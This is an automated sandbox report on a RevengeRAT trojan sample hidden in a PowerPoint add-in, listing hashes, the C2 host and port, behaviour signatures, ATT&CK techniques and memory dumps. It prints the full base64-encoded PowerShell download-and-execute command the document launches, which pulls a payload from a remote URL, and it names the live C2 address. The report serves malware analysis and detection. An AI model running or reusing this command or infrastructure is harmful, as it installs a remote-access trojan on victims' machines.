revengerat | aee96147d05a9d6564be20eb8dfc628635c15bca71cf62c85edd328fef582831

Analysis

max time kernel
147s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
25-03-2024 08:00

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General

Target

Documentacao pax.ppa
Size

88KB
MD5

ff08378dd83e84df74a9ce07f5105aa2
SHA1

2ba229ede6c3b0a53e966d6f491e556b8b9efe72
SHA256

994fbd9bbcb4586bcc97a0c0fb48f08b3af8acac284624c84d2d102fb1f3762e
SHA512

f09ce3a2e8a21979c8d8060ee8206cc6d4146a80176a3f243f35fa0f8f021ec349fb3474ff0635c3543092c34ad6bcb5898895c37d05763f6945fc42fa8ca1fc
SSDEEP

768:0cOoejkNcs+kozxpxWMjcXocyNumLu8J7icjo:0WejkNcsuzxpxWbYT1u

Score

10^/10

revengerat nyancatrevenge trojan

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

craxsrat.ddns.com.br:333

Mutex

27d7e6701f5e

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	2328	3604	powershell.exe	POWERPNT.EXE

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

81 2328 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2328 set thread context of 4580 2328 powershell.exe RegSvcs.exe

flow	pid	process
81	2328	powershell.exe

description	pid	process	target process
PID 2328 set thread context of 4580	2328	powershell.exe	RegSvcs.exe

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXERegSvcs.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	POWERPNT.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0	RegSvcs.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	POWERPNT.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	POWERPNT.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

POWERPNT.EXE

pid process

3604 POWERPNT.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

2328 powershell.exe
2328 powershell.exe
2328 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2328 powershell.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

POWERPNT.EXE

pid process

3604 POWERPNT.EXE
3604 POWERPNT.EXE
3604 POWERPNT.EXE

pid	process
3604	POWERPNT.EXE

pid	process
2328	powershell.exe
2328	powershell.exe
2328	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2328	powershell.exe

pid	process
3604	POWERPNT.EXE
3604	POWERPNT.EXE
3604	POWERPNT.EXE

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

POWERPNT.EXEpowershell.exe

description	pid	process	target process
PID 3604 wrote to memory of 2328	3604	POWERPNT.EXE	powershell.exe
PID 3604 wrote to memory of 2328	3604	POWERPNT.EXE	powershell.exe
PID 2328 wrote to memory of 4580	2328	powershell.exe	RegSvcs.exe
PID 2328 wrote to memory of 4580	2328	powershell.exe	RegSvcs.exe
PID 2328 wrote to memory of 4580	2328	powershell.exe	RegSvcs.exe
PID 2328 wrote to memory of 4580	2328	powershell.exe	RegSvcs.exe
PID 2328 wrote to memory of 4580	2328	powershell.exe	RegSvcs.exe
PID 2328 wrote to memory of 4580	2328	powershell.exe	RegSvcs.exe
PID 2328 wrote to memory of 4580	2328	powershell.exe	RegSvcs.exe
PID 2328 wrote to memory of 4580	2328	powershell.exe	RegSvcs.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Documentacao pax.ppa"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3604

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHQAZQBzAHQAaQBuAGcALQBlAGEAZgAyADgALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9AGIAOAA1AGIANABiADMANAAtADQAZgBiADkALQA0ADgANAAwAC0AYQAxAGQANwAtADMAMgA3AGEAZABlAGIAZQAwAGMANAA0AA0ACgAnACkAOwAgAA0ACgBHAHoATQBJAFQAWgBQAFIAVwBhAFQATQBvAEMAVwBiAGEAUwBNAFcAQgBkAEgASwBhAG8AcgBJAGMAdwBkAFkAbwBpAHoAeQBWAFIAdgBSAEkAUgBNAGYASABLAHoAawBYAEMAcwBwAFcAUwBIAGMAcwBjAEgARwBrAGgAUQBtAFcAVQB6AEsASABEAGgAawBHAHkAbwBMAHMAQwBkAHMAVABpAE0ADQAKAA==""
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2328

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
3⤵
- Checks processor information in registry
PID:4580

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_prayixv1.ggz.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2328-107-0x00007FFF09930000-0x00007FFF0A3F1000-memory.dmp

Filesize
10.8MB

Download
memory/2328-106-0x0000028A58920000-0x0000028A589DD000-memory.dmp

Filesize
756KB

Download
memory/2328-102-0x0000028A71200000-0x0000028A71201000-memory.dmp

Filesize
4KB

Download
memory/2328-101-0x0000028A71280000-0x0000028A71298000-memory.dmp

Filesize
96KB

Download
memory/2328-99-0x0000028A71280000-0x0000028A71298000-memory.dmp

Filesize
96KB

Download
memory/2328-97-0x0000028A71280000-0x0000028A71298000-memory.dmp

Filesize
96KB

Download
memory/2328-95-0x0000028A71280000-0x0000028A71298000-memory.dmp

Filesize
96KB

Download
memory/2328-93-0x0000028A71280000-0x0000028A71298000-memory.dmp

Filesize
96KB

Download
memory/2328-90-0x0000028A71280000-0x0000028A71298000-memory.dmp

Filesize
96KB

Download
memory/2328-91-0x0000028A71280000-0x0000028A71298000-memory.dmp

Filesize
96KB

Download
memory/2328-89-0x0000028A71280000-0x0000028A712A0000-memory.dmp

Filesize
128KB

Download
memory/2328-87-0x0000028A712D0000-0x0000028A712E0000-memory.dmp

Filesize
64KB

Download
memory/2328-88-0x0000028A712D0000-0x0000028A712E0000-memory.dmp

Filesize
64KB

Download
memory/2328-86-0x00007FFF09930000-0x00007FFF0A3F1000-memory.dmp

Filesize
10.8MB

Download
memory/2328-85-0x0000028A71210000-0x0000028A71232000-memory.dmp

Filesize
136KB

Download
memory/3604-16-0x00007FFF371D0000-0x00007FFF373C5000-memory.dmp

Filesize
2.0MB

Download
memory/3604-11-0x00007FFF371D0000-0x00007FFF373C5000-memory.dmp

Filesize
2.0MB

Download
memory/3604-19-0x00007FFF371D0000-0x00007FFF373C5000-memory.dmp

Filesize
2.0MB

Download
memory/3604-20-0x00007FFF371D0000-0x00007FFF373C5000-memory.dmp

Filesize
2.0MB

Download
memory/3604-21-0x00007FFF371D0000-0x00007FFF373C5000-memory.dmp

Filesize
2.0MB

Download
memory/3604-23-0x00007FFF371D0000-0x00007FFF373C5000-memory.dmp

Filesize
2.0MB

Download
memory/3604-22-0x00007FFF371D0000-0x00007FFF373C5000-memory.dmp

Filesize
2.0MB

Download
memory/3604-18-0x00007FFF371D0000-0x00007FFF373C5000-memory.dmp

Filesize
2.0MB

Download
memory/3604-32-0x00000187C0AE0000-0x00000187C12E0000-memory.dmp

Filesize
8.0MB

Download
memory/3604-54-0x00000187C0AE0000-0x00000187C12E0000-memory.dmp

Filesize
8.0MB

Download
memory/3604-57-0x00000187C1C80000-0x00000187C2C50000-memory.dmp

Filesize
15.8MB

Download
memory/3604-62-0x00000187C1C80000-0x00000187C2C50000-memory.dmp

Filesize
15.8MB

Download
memory/3604-63-0x00000187C1C80000-0x00000187C2C50000-memory.dmp

Filesize
15.8MB

Download
memory/3604-67-0x00007FFF371D0000-0x00007FFF373C5000-memory.dmp

Filesize
2.0MB

Download
memory/3604-68-0x00000187C0AE0000-0x00000187C12E0000-memory.dmp

Filesize
8.0MB

Download
memory/3604-69-0x00000187C0AE0000-0x00000187C12E0000-memory.dmp

Filesize
8.0MB

Download
memory/3604-70-0x00000187C1C80000-0x00000187C2C50000-memory.dmp

Filesize
15.8MB

Download
memory/3604-71-0x00000187C1C80000-0x00000187C2C50000-memory.dmp

Filesize
15.8MB

Download
memory/3604-72-0x00000187C0AE0000-0x00000187C12E0000-memory.dmp

Filesize
8.0MB

Download
memory/3604-73-0x00000187C0AE0000-0x00000187C12E0000-memory.dmp

Filesize
8.0MB

Download
memory/3604-0-0x00007FFEF7250000-0x00007FFEF7260000-memory.dmp

Filesize
64KB

Download
memory/3604-15-0x00007FFF371D0000-0x00007FFF373C5000-memory.dmp

Filesize
2.0MB

Download
memory/3604-14-0x00007FFEF5030000-0x00007FFEF5040000-memory.dmp

Filesize
64KB

Download
memory/3604-13-0x00007FFF371D0000-0x00007FFF373C5000-memory.dmp

Filesize
2.0MB

Download
memory/3604-12-0x00007FFF371D0000-0x00007FFF373C5000-memory.dmp

Filesize
2.0MB

Download
memory/3604-17-0x00007FFF371D0000-0x00007FFF373C5000-memory.dmp

Filesize
2.0MB

Download
memory/3604-10-0x00007FFEF5030000-0x00007FFEF5040000-memory.dmp

Filesize
64KB

Download
memory/3604-9-0x00007FFF371D0000-0x00007FFF373C5000-memory.dmp

Filesize
2.0MB

Download
memory/3604-6-0x00007FFF371D0000-0x00007FFF373C5000-memory.dmp

Filesize
2.0MB

Download
memory/3604-8-0x00007FFF371D0000-0x00007FFF373C5000-memory.dmp

Filesize
2.0MB

Download
memory/3604-7-0x00007FFEF7250000-0x00007FFEF7260000-memory.dmp

Filesize
64KB

Download
memory/3604-2-0x00007FFEF7250000-0x00007FFEF7260000-memory.dmp

Filesize
64KB

Download
memory/3604-5-0x00007FFEF7250000-0x00007FFEF7260000-memory.dmp

Filesize
64KB

Download
memory/3604-4-0x00007FFF371D0000-0x00007FFF373C5000-memory.dmp

Filesize
2.0MB

Download
memory/3604-121-0x00007FFF371D0000-0x00007FFF373C5000-memory.dmp

Filesize
2.0MB

Download
memory/3604-3-0x00007FFF371D0000-0x00007FFF373C5000-memory.dmp

Filesize
2.0MB

Download
memory/3604-1-0x00007FFEF7250000-0x00007FFEF7260000-memory.dmp

Filesize
64KB

Download
memory/3604-120-0x00007FFF371D0000-0x00007FFF373C5000-memory.dmp

Filesize
2.0MB

Download
memory/3604-119-0x00007FFEF7250000-0x00007FFEF7260000-memory.dmp

Filesize
64KB

Download
memory/3604-116-0x00007FFEF7250000-0x00007FFEF7260000-memory.dmp

Filesize
64KB

Download
memory/3604-117-0x00007FFEF7250000-0x00007FFEF7260000-memory.dmp

Filesize
64KB

Download
memory/3604-118-0x00007FFEF7250000-0x00007FFEF7260000-memory.dmp

Filesize
64KB

Download
memory/4580-110-0x0000000005B90000-0x0000000006134000-memory.dmp

Filesize
5.6MB

Download
memory/4580-108-0x0000000074C70000-0x0000000075420000-memory.dmp

Filesize
7.7MB

Download
memory/4580-103-0x0000000000400000-0x000000000040A000-memory.dmp

Filesize
40KB

Download
memory/4580-122-0x0000000005740000-0x0000000005750000-memory.dmp

Filesize
64KB

Download
memory/4580-123-0x0000000006140000-0x00000000061DC000-memory.dmp

Filesize
624KB

Download
memory/4580-124-0x00000000061E0000-0x0000000006246000-memory.dmp

Filesize
408KB

Download
memory/4580-125-0x0000000074C70000-0x0000000075420000-memory.dmp

Filesize
7.7MB

Download
memory/4580-126-0x0000000005740000-0x0000000005750000-memory.dmp

Filesize
64KB

Download